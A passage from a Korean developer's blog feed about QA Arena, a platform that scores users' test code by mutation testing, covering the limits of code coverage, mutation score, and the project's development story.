</tr>
<tr>
<td align="center"><code>return 0</code></td>
<td align="center"><code>0 != 5 (테스트 실패)</code></td>
<td align="center">✅ <strong>Killed</strong></td>
</tr>
</tbody></table>
<p>오, 이 테스트는 꽤 쓸만하네요. 두 버그를 다 잡아냈습니다.
하지만 만약 테스트를 대충 짰다면 어떨까요?</p>
<h4 id="헐렁한-테스트">헐렁한 테스트</h4>
<pre><code class="language-python">def test_divide_weak():
    result = divide(10, 2)
    assert result &gt; 0  # 그냥 양수인지만 확인</code></pre>
<table>
<thead>
<tr>
<th align="center"><strong>Mutant</strong></th>
<th align="center"><strong>결과</strong></th>
<th align="center"><strong>판정</strong></th>
</tr>
</thead>
<tbody><tr>
<td align="center"><code>a*b</code>  (결과: 20)</td>
<td align="center"><code>20 &gt; 0</code> (테스트 통과...?)</td>
<td align="center">⚠️ <strong>Survived</strong> (😈 버그를 못 잡음)</td>
</tr>
</tbody></table>
<p>Mutant가 살아남았다(Survived)는 것은, <strong>내 테스트 코드가 구멍이 숭숭 뚫려 있다</strong>는 강력한 증거입니다.</p>
<p><img src="https://velog.velcdn.com/images/ai_qa_patrick/post/b0fe7c9f-95b8-4b8f-aec8-10a6aa826918/image.png" alt=""></p>
<h3 id="📊-3-mutation-score-진짜-테스트-품질-지표">📊 3. Mutation Score: 진짜 테스트 품질 지표</h3>
<p>그래서 나온 지표가 바로 <strong>Mutation Score</strong> 입니다.</p>
<blockquote>
<p align="center">
  <strong>Mutation Score</strong> = (잡아낸 버그 수 / 심어놓은 전체 버그 수) × 100%
</blockquote>
</p>

<table>
<thead>
<tr>
<th align="center"><strong>지표</strong></th>
<th align="center"><strong>의미</strong></th>
<th align="center"><strong>신뢰도</strong></th>
</tr>
</thead>
<tbody><tr>
<td align="center">커버리지 100%</td>
<td align="center">&quot;코드를 한 번씩은 실행해봤어&quot;</td>
<td align="center">🟡 낮음</td>
</tr>
<tr>
<td align="center"><strong>Mutation Score 100%</strong></td>
<td align="center"><strong>&quot;코드를 망가뜨리면 테스트가 즉각 반응해&quot;</strong></td>
<td align="center"><strong>🟢 높음</strong></td>
</tr>
</tbody></table>
<p>학계에서도 이미 입증된 사실입니다. IEEE의 여러 연구에 따르면 <strong>Mutation Testing은 현존하는 가장 강력한 테스트 기준</strong>으로 평가받습니다. 커버리지가 아무리 높아도 Mutation Score가 낮으면, 그 테스트 슈트는 사실상 &#39;허수아비&#39;일 확률이 높습니다.</p>
<h3 id="🎯-4-qa-arena는-이걸-어떻게-활용하나">🎯 4. QA Arena는 이걸 어떻게 활용하나?</h3>
<p>제가 만든 <strong>QA Arena</strong>는 바로 이 원리를 퀴즈처럼 구현했습니다.</p>
<h4 id="채점-프로세스">채점 프로세스</h4>
<ol>
<li>사용자가 미션(테스트 코드)을 제출합니다.</li>
<li>시스템이 뒷단에서 Golden Code(정답 코드)에 Mutant(버그)를 생성합니다.</li>
<li>사용자의 테스트 코드로 이 Mutant들을 공격합니다.</li>
<li>얼마나 많은 Mutant를 잡았는지 계산해서 점수를 매깁니다.</li>
</ol>
<p><img src="https://velog.velcdn.com/images/ai_qa_patrick/post/bae65289-6a32-4870-a607-ef4790e222d7/image.png" alt=""></p>
<h4 id="결과-리포트">결과 리포트</h4>
<p>단순히 &quot;통과/실패&quot;만 알려주는 게 아닙니다. 놓친 버그에 대한 개선 힌트는 물론, 더 나은 테스트를 위한 <strong>AI 피드백</strong>까지 제공합니다.
<img src="https://velog.velcdn.com/images/ai_qa_patrick/post/0c89748f-283e-4aa3-b16e-e4aea899843e/image.png" style="margin:0; padding:0;" /><img src="https://velog.velcdn.com/images/ai_qa_patrick/post/60cd4c69-ff8d-43e2-bbd5-38325f83d599/image.png" style="margin:0; padding:0;" />
이렇게 <strong>&quot;왜 내 테스트가 부족한지&quot;</strong> 구체적인 피드백을 받을 수 있죠.</p>
<h3 id="🔥-5-왜-qa에게-이게-중요할까">🔥 5. 왜 QA에게 이게 중요할까?</h3>
<p><img src="https://velog.velcdn.com/images/ai_qa_patrick/post/42de2c60-96c2-4511-bc11-c2807c8e5cc3/image.png" alt=""></p>
<h4 id="1-자동화만-하면-끝이라는-압박에서-벗어나기">1. &quot;자동화만 하면 끝?&quot;이라는 압박에서 벗어나기</h4>
<p>테스트 자동화를 구축해도 &quot;이게 진짜 버그 잡을 수 있어?&quot;라는 의구심 섞인 질문, 받아보셨을 겁니다. Mutation Score는 이 질문에 대해 <strong>&quot;네, 우리 테스트는 의도된 버그의 95%를 잡아냅니다&quot;</strong>라고 숫자로 증명할 수 있게 해줍니다.</p>
<h4 id="2-ai-코딩-시대의-필수-검증-도구">2. AI 코딩 시대의 필수 검증 도구</h4>
<p>요즘 <em><strong>ChatGPT</strong>_나 _<strong>Claude Code</strong></em> 로 테스트 코드 많이 짜시죠? 그런데 AI가 짜준 테스트가 좋은 테스트인지는 누가 검증하나요?
<strong>Mutation Testing</strong>이 그 심판관이 될 수 있습니다. AI가 짠 테스트든 사람이 짠 테스트든, 버그를 못 잡으면 점수는 냉정하니까요.</p>
<h3 id="💬-6-마치며">💬 6. 마치며</h3>
<h4 id="커버리지-100는-끝이-아니라-시작일-뿐입니다">커버리지 100%는 끝이 아니라 시작일 뿐입니다.</h4>
<p>진짜 테스트 품질은 &quot;얼마나 많은 라인을 실행했냐&quot;가 아니라, <strong>&quot;얼마나 많은 결함을 찾아낼 수 있냐&quot;</strong>로 증명해야 합니다. QA Arena는 바로 그 &#39;진짜 실력&#39;을 겨루는 공간입니다.</p>
<blockquote>
<p><strong>&quot;내 테스트 코드는 과연 튼튼할까?&quot;</strong></p>
</blockquote>
<p>궁금하시다면, 지금 바로 도전해보세요!</p>
<h3 id="📌-다음-화-예고">📌 다음 화 예고</h3>
<h4 id="ep-2-claude-code-200-활용-설정부터-배포-자동화까지">Ep 2. Claude Code 200% 활용: 설정부터 배포 자동화까지</h4>
<p>&quot;AI로 서비스 하나 뚝딱 만드는 거, 진짜 되더라고요.&quot;
QA Arena를 만들면서 사용한 Claude Code 활용기! <code>CLAUDE.md</code> 설정부터 커스텀 스킬로 배포 자동화까지 하는 꿀팁을 대방출합니다.</p>
<p>(1/14 화요일 발행 예정)</p>
<blockquote>
<p>👉 <strong>직접 체험해보기</strong>: <a href="https://qa-arena.qalabs.kr/">QA Arena에서 내 Mutation Score 확인하기</a></p>
</blockquote>
<h3 id="project-info">[Project Info]</h3>
<ul>
<li>Service: <a href="https://qa-arena.qalabs.kr">https://qa-arena.qalabs.kr</a></li>
<li>Status: Open Beta (Non-profit Project)</li>
<li>Developer: Ryu Junghyun (QA Engineer)</li>
<li>Feedback: 의견 보내기 (<a href="https://docs.google.com/forms/d/e/1FAIpQLSfKmMLAT6BPZv8llyo_BvpYBpp6A9w8f0ywnMIEBeyNDckbCA/viewform">Google Form</a>)</li>
</ul>
<h3 id="📚-참고-자료">📚 참고 자료</h3>
<ul>
<li><a href="https://en.wikipedia.org/wiki/Mutation_testing">Mutation Testing</a> - Wikipedia</li>
<li><a href="https://pitest.org">PITest</a> - Java Mutation Testing</li>
<li><a href="https://mutmut.readthedocs.io/">mutmut</a> - Python Mutation Testing</li>
</ul>
<h3 id="🚨-긴급-추가-오픈-베타-데이터로-본-웃픈-현실">🚨 긴급 추가: 오픈 베타 데이터로 본 &#39;웃픈&#39; 현실</h3>
<p>글을 발행하기 직전, 오픈 베타 3일 차 로그를 분석하다가 재미있는(그리고 뼈아픈) 사실 두 가지를 발견해서 급히 공유합니다.</p>
<p><strong>1. 쉬운 문제의 반전?</strong> 😲
가장 기초 난이도인 <strong>&#39;[기초] 정수 덧셈기&#39;</strong> ➕ 의 데이터를 보고 깜짝 놀랐습니다. 조회수 대비 재시도 횟수가 무려 <strong>3.6배</strong>나 되었거든요. 📈 단순한 덧셈 로직이지만, 완벽한 테스트 코드를 짜는 건 결코 쉽지 않다는 사실을 데이터가 증명해 주는 것 같습니다.. 📊 기초 문제부터 이렇게 진심으로 파고드는 분들이 많아 인상적이었습니다.🔥</p>
<p><strong>2. 체류 시간 10분의 진실</strong> ⏳
<strong>&#39;할인 계산기&#39;</strong> 🏷️ 문제의 평균 체류 시간이 10분을 넘어가길래, 처음엔 <strong>&quot;와, 다들 엄청 몰입해서 푸시는구나!&quot;</strong> 🤩라고 좋아했습니다. 그런데 막상 제가 다시 문제를 확인해보니...😱 문제 설명이 너무 불친절해서 이해하느라 오래 걸린 것이었습니다.. 💦 (죄송합니다...🙇‍ )</p>
<p>데이터는 거짓말을 안 하네요. 덕분에 문제를 전면 수정해야 한다는 사실을 깨달았습니다. 이렇게 데이터로 제 부족함을 마주하며 QA Arena를 개선해 나가고 있습니다. 여러분의 플레이 기록 하나하나가 서비스 개선에 큰 힌트가 됩니다!</p>
<p>감사합니다. </p>
]]></description>
        </item>
        <item>
            <title><![CDATA[(소개) QA 엔지니어의 1인 개발 도전기: 6주 435커밋으로 만든 QA Arena
]]></title>
            <link>https://velog.io/@ai_qa_patrick/%EC%86%8C%EA%B0%9C-QA-%EC%97%94%EC%A7%80%EB%8B%88%EC%96%B4%EC%9D%98-1%EC%9D%B8-%EA%B0%9C%EB%B0%9C-%EB%8F%84%EC%A0%84%EA%B8%B0-5%EC%A3%BC-313%EC%BB%A4%EB%B0%8B%EC%9C%BC%EB%A1%9C-%EB%A7%8C%EB%93%A0-QA-Arena</link>
            <guid>https://velog.io/@ai_qa_patrick/%EC%86%8C%EA%B0%9C-QA-%EC%97%94%EC%A7%80%EB%8B%88%EC%96%B4%EC%9D%98-1%EC%9D%B8-%EA%B0%9C%EB%B0%9C-%EB%8F%84%EC%A0%84%EA%B8%B0-5%EC%A3%BC-313%EC%BB%A4%EB%B0%8B%EC%9C%BC%EB%A1%9C-%EB%A7%8C%EB%93%A0-QA-Arena</guid>
            <pubDate>Tue, 06 Jan 2026 23:16:32 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p>📢 <strong>오픈 베타 테스트 참여 안내</strong>
이 프로젝트는 현재 오픈 베타 중입니다.
&quot;내 테스트 코드는 몇 점일까?&quot; 궁금하신 분들은 아래 링크에서 체험해보세요!
👉 <a href="https://qa-arena.qalabs.kr/?utm_source=velog&amp;utm_medium=post&amp;utm_campaign=beta">QA Arena 바로가기</a></p>
</blockquote>
<hr>
<p><strong>&quot;QA의 실력은 무엇으로 증명하나요?&quot;</strong></p>
<p>개발자에게는 &#39;GitHub 잔디&#39;나 &#39;백준 티어&#39; 같은 명확한 척도가 있습니다. 하지만 <strong>QA 엔지니어</strong>는요?</p>
<blockquote>
<p><em>&quot;테스트 케이스를 꼼꼼하게 잘 짭니다.&quot;</em>
<em>&quot;버그를 기가 막히게 찾습니다.&quot;</em></p>
</blockquote>
<p>솔직히 말해서, 이런 정성적인 평가로는 팀장님도, 동료 팀원들도, 심지어 나 자신도 확신을 갖기 어렵습니다.
<img src="https://velog.velcdn.com/images/ai_qa_patrick/post/7aba72e7-6e2f-4f24-b967-9090fb591b15/image.png" alt=""></p>
<blockquote>
<p><strong>&quot;테스트 자동화 해야 하는데...&quot;</strong> 라는 압박, 늘 받고 계시죠?
<strong>&quot;요즘은 AI로 테스트 짠다는데.....&quot;</strong> 이런 소리를 들으면 마음만 조급해지고요.</p>
</blockquote>
<p>저도 그랬습니다. 수동 테스트만 반복하다 보면 커리어의 정체기가 온 것 같고, 옆에서 &quot;ChatGPT가 코드 다 짜준다&quot;고 하면 내 자리가 없어지는 건 아닐까 불안하기도 했습니다.</p>
<p>그래서 생각했습니다.</p>
<p><strong>&quot;QA의 핵심 역량인 &#39;결함 탐지 능력&#39;을 숫자로 정량화하는 플랫폼을 직접 만들어보자.&quot;</strong></p>
<p>이 단순한 호기심과 오기에서 시작된 프로젝트가 <strong>6주 동안 435번의 커밋</strong>을 거쳐, <strong>QA Arena</strong>라는 서비스로 세상에 나오게 되었습니다.</p>
<hr>
<h2 id="🎯-1-qa-arena가-뭔가요">🎯 1. QA Arena가 뭔가요?</h2>
<p>한 줄로 설명하면 <strong>&quot;QA 엔지니어를 위한 코딩 테스트 플랫폼&quot;</strong>입니다.</p>
<p>근데 기존 알고리즘 사이트(백준, 프로그래머스)랑은 <strong>정반대</strong> 접근 방식을 가지고 있습니다.</p>
<table>
<thead>
<tr>
<th>구분</th>
<th>기존 코딩 테스트</th>
<th>QA Arena</th>
</tr>
</thead>
<tbody><tr>
<td>목표</td>
<td>정답 알고리즘 구현</td>
<td>버그 잡는 테스트 코드 작성</td>
</tr>
<tr>
<td>평가</td>
<td>구현 능력(Implementation)</td>
<td><strong>검증 능력(Verification)</strong></td>
</tr>
<tr>
<td>결과</td>
<td>Pass/Fail</td>
<td><strong>버그 검출률 (Mutation Score)</strong></td>
</tr>
</tbody></table>
<p>단순히 &quot;테스트 통과했어요&quot;로 끝나지 않습니다.</p>
<p>QA Arena는 <strong>변이 테스트(Mutation Testing)</strong> 기법을 활용합니다. 여러분이 제출한 테스트 코드가 <strong>시스템이 의도적으로 심어놓은 버그(Mutants)를 얼마나 잘 잡아내는지</strong>, 그리고 <strong>테스트 코드 자체의 품질</strong>은 어떤지를 분석해서 점수(Score)와 등급(Tier)을 매겨줍니다.</p>
<p>드디어 <strong>&quot;나 테스트 잘 짜요&quot;</strong>를 숫자로 말할 수 있게 된 거죠.</p>
<hr>
<h2 id="🔥-2-5주간의-개발-여정-20251124--20251231">🔥 2. 5주간의 개발 여정 (2025.11.24 ~ 2025.12.31)</h2>
<p>QA 업무를 병행하며, 퇴근 후와 주말 시간을 쪼개 개발했습니다.</p>
<p>처음에는 단순한 토이 프로젝트로 시작했는데... 실제로 서비스를 운영하려고 보니 예상치 못한 장벽들이 쏟아졌습니다. (진짜 많이요 😇)</p>
<h3 id="주요-사건들">주요 사건들</h3>
<ul>
<li><p><strong>💀 AWS Abuse Report 사건</strong>: &quot;당신의 계정이 공격에 악용되고 있습니다&quot;라는 메일을 받고 식은땀을 흘리며 AWS 인스턴스를 4번 갈아엎었습니다. (보안의 중요성을 뼈저리게 느꼈습니다.)
<img src="https://velog.velcdn.com/images/ai_qa_patrick/post/c8dd6f91-2016-430c-834e-3cee90d66f9d/image.png" alt=""></p>
</li>
<li><p><strong>💸 극한의 비용 최적화 ($50 → $5)</strong>: 개인 프로젝트로 감당하기 힘든 서버 비용을 줄이기 위해, 채점 엔진을 <strong>서버(Docker)</strong> 에서 <strong>브라우저(Pyodide/WASM)</strong> 로 옮기는 대공사를 감행했습니다. 결과? <strong>$50 → $5/월</strong>
<img src="https://velog.velcdn.com/images/ai_qa_patrick/post/e5c4af36-a8ba-4521-a3c4-350a0aba3a74/image.png" alt=""></p>
</li>
<li><p><strong>🚧 런칭 1초 전 급브레이크 (Compliance)</strong>: 기능 개발을 다 끝내고 배포하려는데, <strong>회원 탈퇴 기능</strong>과 <strong>개인정보처리방침</strong>이 없다는 걸 깨달았습니다. 결국 오픈을 미루고, 유저의 권리를 지키기 위한 백엔드 공사와 약관 작업을 며칠 밤새워 진행했습니다. (개발보다 서류 작업이 더 힘들 줄이야... 😭)
<img src="https://velog.velcdn.com/images/ai_qa_patrick/post/a22d945b-9866-40e4-94af-3c235a2552f4/image.png" alt=""></p>
</li>
<li><p><strong>🤖 AI Pipeline 구축</strong>: 혼자서 수많은 문제를 만들 수 없어서 LLM 기반의 &#39;<strong>문제 생성 자동화</strong>&#39; 파이프라인을 구축했습니다. 이제 AI가 버그 시나리오까지 만들어냅니다.</p>
</li>
</ul>
<p>&#39;에이 설마 되겠어?&#39; 했다가 &#39;어? 진짜 되네?&#39;가 된 순간들의 연속이었습니다.</p>
<h3 id="qa-arena-아키텍처-hybrid-judge-system">QA Arena 아키텍처 (Hybrid Judge System)</h3>
<p>비용은 0원에 수렴하면서도, 사용자 경험(속도)을 챙기기 위해 <strong>Client(Pyodide)</strong> + <strong>Server(Docker)</strong> 하이브리드 구조를 설계했습니다.</p>
<!-- TODO: Hero 다이어그램 삽입 위치 -->
<p><img src="https://velog.velcdn.com/images/ai_qa_patrick/post/059c3096-5b10-4046-833c-8418b96d8582/image.png" alt=""></p>
<p>이 시리즈는 바로 그 &#39;삽질&#39;과 &#39;해결&#39;의 생생한 기록입니다. 제가 먼저 겪었으니, 여러분은 이 글을 통해 시행착오를 줄이시길 바랍니다. 😎</p>
<hr>
<h2 id="📚-3-앞으로-연재할-이야기-매주-화금-총-7주">📚 3. 앞으로 연재할 이야기 (매주 화/금, 총 7주)</h2>
<p>이 시리즈는 크게 <strong>기술적 도전</strong>과 <strong>운영의 현실</strong> 두 가지 축으로 진행됩니다.</p>
<h3 id="phase-1-시작과-도구-week-12">Phase 1: 시작과 도구 (Week 1~2)</h3>
<ul>
<li><strong>Ep 1</strong>. 코드 커버리지 100%의 함정: 왜 &#39;버그 검출률&#39;인가?</li>
<li><strong>Ep 2</strong>. Claude Code 200% 활용: 설정부터 배포 자동화까지</li>
<li><strong>Ep 3</strong>. (회고) AI 믿고 Git 맡겼다가 생긴 일</li>
</ul>
<h3 id="phase-2-비용과-아키텍처-week-3">Phase 2: 비용과 아키텍처 (Week 3)</h3>
<ul>
<li><strong>Ep 4</strong>. <strong>AWS 비용 0원 도전</strong>: 채점 서버를 없애고 브라우저로 돌린 이유</li>
<li><strong>Ep 5</strong>. 클라이언트 vs 서버 하이브리드 설계 전략</li>
</ul>
<h3 id="phase-3-인프라와-운영-현실-week-45">Phase 3: 인프라와 운영 현실 (Week 4~5)</h3>
<ul>
<li><strong>Ep 6</strong>. (삽질기) EC2 + Docker Compose 첫 배포</li>
<li><strong>Ep 7</strong>. (보안) Docker-in-Docker의 함정과 Socket Proxy</li>
<li><strong>Ep 8</strong>. (장애회고) SSH 키 날려먹고 &#39;클라우드 미아&#39;가 되다</li>
<li><strong>Ep 9</strong>. (운영사건) <strong>AWS Trust &amp; Safety 메일이 왔다: Abuse Report 대응기</strong></li>
</ul>
<h3 id="phase-4-ai와-제품화-week-67">Phase 4: AI와 제품화 (Week 6~7)</h3>
<ul>
<li><strong>Ep 10</strong>. 문제 자동 생성의 현실: 양은 AI가, 품질은 프로세스가</li>
<li><strong>Ep 11</strong>. AI Pipeline 전체 흐름: 코드→AST→분류→LLM→피드백</li>
<li><strong>Ep 12</strong>. 테스트 품질 분석 엔진: 내 테스트 코드는 몇 점일까?</li>
<li><strong>Ep 13</strong>. 코딩보다 힘든 서류 작업: 회원 탈퇴와 약관 때문에 런칭 멈춘 썰</li>
<li><strong>Ep 14</strong>. (완결) 1인 개발자의 제품 런칭: AI 제품화 + 오픈 베타</li>
</ul>
<hr>
<h2 id="💬-4-마치며">💬 4. 마치며</h2>
<p>이 글은 &quot;완벽한 서비스를 만들었다&quot;는 자랑이 아닙니다.</p>
<p>오히려 <strong>&quot;QA 엔지니어가 맨땅에 헤딩하며 서비스를 만들어가는 과정&quot;</strong>을 가감 없이 공유하려고 합니다.</p>
<blockquote>
<p><strong>&quot;QA로 몇 년 했는데, 뭘로 증명하지?&quot;</strong>
<strong>&quot;자동화 공부는 해야 하는데 어디서부터?&quot;</strong>
<strong>&quot;AI 시대의 QA는 어떻게 변화해야 할까?&quot;</strong></p>
</blockquote>
<p>이런 고민을 하고 계신 분들께, 이 시리즈가 작은 인사이트라도 드릴 수 있으면 좋겠습니다.</p>
<p>앞으로 7주간의 여정, 같이 가시죠! 🚀 (구독과 좋아요는 큰 힘이 됩니다!)
<img src="https://velog.velcdn.com/images/ai_qa_patrick/post/f39e1ce7-310f-4478-b31b-d6ee7b93011a/image.png" alt=""></p>
<hr>
<h2 id="📌-다음-화-예고">📌 <strong>다음 화 예고</strong></h2>
<p><strong>Ep 1. 코드 커버리지 100%의 함정: 왜 QA Arena는 &#39;버그 검출률&#39;을 믿는가?</strong></p>
<p>&quot;테스트 커버리지가 높으면 버그가 없을까요?&quot; 기존 지표의 한계를 꼬집고, Mutation Testing이 어떻게 QA의 실력을 진짜로 검증하는지 이야기합니다.</p>
<p>(1/9 금요일 발행)</p>
<hr>
<h2 id="-project-info-"><strong>[ Project Info ]</strong></h2>
<ul>
<li>Service: <a href="https://qa-arena.qalabs.kr">https://qa-arena.qalabs.kr</a></li>
<li>Status: Open Beta (Non-profit Project)</li>
<li>Developer: Ryu Junghyun (QA Engineer)</li>
<li>Feedback: <a href="https://forms.gle/mk5zYKMTMq4PGRQz7">Google Form</a></li>
</ul>
]]></description>
        </item>
    </channel>
</rss>